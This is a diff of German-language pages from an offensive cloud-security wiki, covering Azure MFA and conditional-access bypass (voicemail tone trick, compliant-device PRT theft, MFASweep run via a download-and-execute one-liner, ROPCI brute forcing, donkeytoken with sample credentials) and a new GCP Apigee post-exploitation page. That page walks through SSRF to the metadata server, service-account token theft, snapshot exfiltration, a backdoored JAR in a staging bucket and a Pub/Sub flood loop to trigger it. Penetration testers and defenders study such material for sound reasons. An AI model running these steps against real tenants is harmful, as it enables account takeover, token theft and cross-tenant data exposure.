> Da Zeichen nur **Töne** sind, könnte ein Angreifer die **Voicemail**-Nachricht der Telefonnummer kompromittieren, die Nachricht so konfigurieren, dass sie den **Ton von `#`** enthält, und dann bei der Anforderung der MFA dafür sorgen, dass das **Telefon des Opfers besetzt ist** (indem er es anruft), sodass der Azure-Anruf an die Voicemail weitergeleitet wird.
|
||||
|
||||
### Konforme Geräte
|
||||
### Compliant Devices
|
||||
|
||||
Richtlinien verlangen oft ein konformes Gerät oder MFA, sodass ein **Angreifer ein konformes Gerät registrieren**, ein **PRT**-Token erhalten und **auf diese Weise die MFA umgehen** könnte.
|
||||
Richtlinien verlangen häufig ein compliant device oder MFA, daher könnte ein **Angreifer ein compliant device registrieren**, ein **PRT**-Token erhalten und auf diese Weise die MFA umgehen.
|
||||
|
||||
Beginnen Sie mit der Registrierung eines **konformen Geräts in Intune**, dann **holen Sie sich das PRT** mit:
|
||||
Beginne damit, ein **compliant device in Intune** zu registrieren, und erhalte dann das **PRT** mit:
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -102,39 +102,39 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
Finden Sie weitere Informationen zu dieser Art von Angriff auf der folgenden Seite:
|
||||
Weitere Informationen zu dieser Art von Angriff finden Sie auf der folgenden Seite:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Tooling
|
||||
## Werkzeuge
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
Dieses Skript erhält einige Benutzeranmeldeinformationen und überprüft, ob es sich bei einigen Anwendungen anmelden kann.
|
||||
Dieses Skript sammelt einige Benutzeranmeldeinformationen und prüft, ob es sich bei bestimmten Anwendungen anmelden kann.
|
||||
|
||||
Dies ist nützlich, um zu sehen, ob Sie **kein MFA benötigen, um sich bei einigen Anwendungen anzumelden**, die Sie später möglicherweise missbrauchen, um **Privilegien zu eskalieren**.
|
||||
Das ist nützlich, um zu prüfen, ob für die Anmeldung bei einigen Anwendungen **kein MFA erforderlich ist**, die Sie später missbrauchen könnten, um **Privilegien zu eskalieren**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Erhalten Sie alle Richtlinien.
|
||||
Ermittelt alle Richtlinien
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep ist ein PowerShell-Skript, das versucht, **sich mit einem bereitgestellten Satz von Anmeldeinformationen bei verschiedenen Microsoft-Diensten anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzel-Faktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird.
|
||||
MFASweep ist ein PowerShell-Skript, das versucht, **sich mit einem angegebenen Satz von Anmeldedaten bei verschiedenen Microsoft-Diensten anzumelden und zu erkennen, ob MFA aktiviert ist**. Je nach Konfiguration der conditional access policies und anderer MFA-Einstellungen können einige Protokolle als Single-Factor übrig bleiben. Es enthält außerdem eine zusätzliche Prüfung auf ADFS-Konfigurationen und kann versuchen, sich beim on-prem ADFS-Server anzumelden, falls einer erkannt wird.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
Dieses Tool hat dabei geholfen, MFA-Umgehungen zu identifizieren und dann APIs in mehreren Produktions-AAD-Mandanten auszunutzen, in denen AAD-Kunden glaubten, dass MFA durchgesetzt war, aber die Authentifizierung basierend auf ROPC erfolgreich war.
|
||||
Dieses Tool hat dabei geholfen, MFA bypasses zu identifizieren und anschließend APIs in mehreren produktiven AAD-Tenants zu missbrauchen, bei denen AAD-Kunden glaubten, MFA sei erzwungen, aber ROPC-basierte Authentifizierung erfolgreich war.
|
||||
|
||||
> [!TIP]
|
||||
> Sie müssen die Berechtigungen haben, um alle Anwendungen aufzulisten, um die Liste der Apps zu generieren, die brute-forced werden sollen.
|
||||
> Du musst Berechtigungen haben, um alle applications auflisten zu können, damit du die Liste der apps generieren kannst, die du brute-force möchtest.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -143,25 +143,25 @@ Dieses Tool hat dabei geholfen, MFA-Umgehungen zu identifizieren und dann APIs i
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberatern helfen sollen, die Conditional Access Policies zu validieren, Tests für 2FA-aktivierte Microsoft-Portale durchzuführen usw.
|
||||
Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberater dabei unterstützen sollen, Conditional Access Policies zu validieren, Tests für 2FA-enabled Microsoft portals durchzuführen usw..
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Testen Sie jedes Portal**, ob es möglich ist, sich **ohne MFA** anzumelden:
|
||||
**Teste jedes Portal** ob ein **login ohne MFA** möglich ist:
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$username = "conditional-access-app-user@azure.hacktricks-training.com"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
Da das **Azure** **Portal** **nicht eingeschränkt** ist, ist es möglich, **ein Token vom Portal-Endpunkt zu sammeln, um auf jeden Dienst zuzugreifen, der durch die vorherige Ausführung erkannt wurde**. In diesem Fall wurde Sharepoint identifiziert, und ein Token zum Zugriff darauf wird angefordert:
|
||||
Da das **Azure** **portal** **nicht eingeschränkt** ist, ist es möglich, **ein token vom portal endpoint zu sammeln, um auf jeden erkannten service zuzugreifen**, der durch die vorherige Ausführung erkannt wurde. In diesem Fall wurde Sharepoint identifiziert, und ein token zum Zugriff darauf angefordert:
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
Angenommen, das Token hat die Berechtigung Sites.Read.All (von Sharepoint), selbst wenn Sie aufgrund von MFA nicht auf Sharepoint über das Web zugreifen können, ist es möglich, das Token zu verwenden, um auf die Dateien mit dem generierten Token zuzugreifen:
|
||||
Angenommen, das Token hat die Berechtigung Sites.Read.All (von Sharepoint), selbst wenn du wegen MFA nicht über das Web auf Sharepoint zugreifen kannst, ist es möglich, mit dem generierten Token auf die Dateien zuzugreifen:
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# GCP - Apigee Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apigee Metadaten-SSRF -> Dataflow mandantenübergreifender pivot
|
||||
|
||||
Ein einzelnes Apigee Tenant-Projekt kann missbraucht werden, um den Message Processor Metadaten-Server zu erreichen, dessen service account zu stehlen und in eine gemeinsame Dataflow-Analytics-Pipeline zu pivoten, die cross-tenant Buckets liest/schreibt.
|
||||
|
||||
### Expose the metadata server through Apigee
|
||||
|
||||
- Setze das Apigee Proxy-Target auf `http://169.254.169.254` und fordere Tokens von `/computeMetadata/v1/instance/service-accounts/default/token` mit `Metadata-Flavor: Google` an.
|
||||
- GCP metadata weist Anfragen ab, die `X-Forwarded-For` enthalten; Apigee fügt diesen Header standardmäßig hinzu. Entferne ihn mit `AssignMessage`, bevor du weiterleitest:
|
||||
```xml
|
||||
<AssignMessage name="strip-xff">
|
||||
<Remove>
|
||||
<Headers>
|
||||
<Header name="X-Forwarded-For"/>
|
||||
</Headers>
|
||||
</Remove>
|
||||
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
|
||||
</AssignMessage>
|
||||
```
|
||||
### Auflisten des gestohlenen Apigee Servicekontos
|
||||
|
||||
- Die leaked SA (von Google verwaltet unter `gcp-sa-apigee`) lässt sich mit Tools wie [gcpwn](https://github.com/NetSPI/gcpwn) enumerieren, um Berechtigungen schnell zu testen.
|
||||
- Beobachtete weitreichende Berechtigungen umfassten **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, und **Pub/Sub topic publish**. Grundlegende Erkundung:
|
||||
```bash
|
||||
gcloud compute disks list --project <tenant-project>
|
||||
```
|
||||
### Snapshot exfiltration für opake verwaltete Dienste
|
||||
|
||||
Mit Disk-/Snapshot-Rechten können Sie verwaltete Runtimes offline untersuchen, selbst wenn Sie sich nicht in das Tenant-Projekt einloggen können:
|
||||
|
||||
1. Erstellen Sie einen Snapshot der Zieldisk im Tenant-Projekt.
|
||||
2. Kopieren/migrieren Sie den Snapshot in Ihr Projekt.
|
||||
3. Erstellen Sie eine Disk aus dem Snapshot neu und hängen Sie sie an Ihre VM an.
|
||||
4. Mounten und prüfen Sie Logs/Configs, um interne Bucket-Namen, Servicekonten und Pipeline-Optionen wiederherzustellen.
|
||||
|
||||
### Dataflow dependency replacement via writable staging bucket
|
||||
|
||||
- Analytics-Worker zogen JARs aus einem GCS-Staging-Bucket beim Startup. Da das Apigee SA Schreibzugriff auf den Bucket hatte, laden Sie das JAR herunter und patchen es (z. B. mit Recaf), um `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` aufzurufen und das **Dataflow worker** Token zu stehlen.
|
||||
- Dataflow-Worker hatten keinen Internet-Egress; exfiltrate, indem Sie das Token mit den in-cluster GCP APIs in einen vom Angreifer kontrollierten GCS-Bucket schreiben.
|
||||
|
||||
### Erzwingen der Ausführung bösartiger JARs durch Missbrauch von autoscaling
|
||||
|
||||
Bestehende Worker laden ersetzte Artefakte nicht neu. Fluten Sie den Pipeline-Eingang, um neue Worker auszulösen:
|
||||
```bash
|
||||
for i in {1..5000}; do
|
||||
gcloud pubsub topics publish apigee-analytics-notifications \
|
||||
--message "flood-$i" --project <tenant-project>
|
||||
done
|
||||
```
|
||||
Neu bereitgestellte Instanzen laden die gepatchten JARs und leak den Dataflow SA token.
|
||||
|
||||
### Cross-tenant bucket design flaw
|
||||
|
||||
Im dekompilierten Dataflow-Code wurden Cache-Pfade wie `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` unter einem gemeinsamen metadata bucket gefunden, ohne irgendeine tenant-spezifische Komponente. Mit dem Dataflow token kannst du lesen/schreiben:
|
||||
|
||||
- `tenantToTenantGroup` Caches, die die project+environment-Namen anderer Tenants offenlegen.
|
||||
- `customFields` und `datastores` Ordner, die pro-Anfrage-Analytics enthalten (einschließlich Endbenutzer-IP-Adressen und Klartext-Zugriffstoken) über alle Tenants hinweg.
|
||||
- Schreibzugriff impliziert potenzielle Manipulation/Vergiftung der Analytics.
|
||||
|
||||
## References
|
||||
|
||||
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
|
||||
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user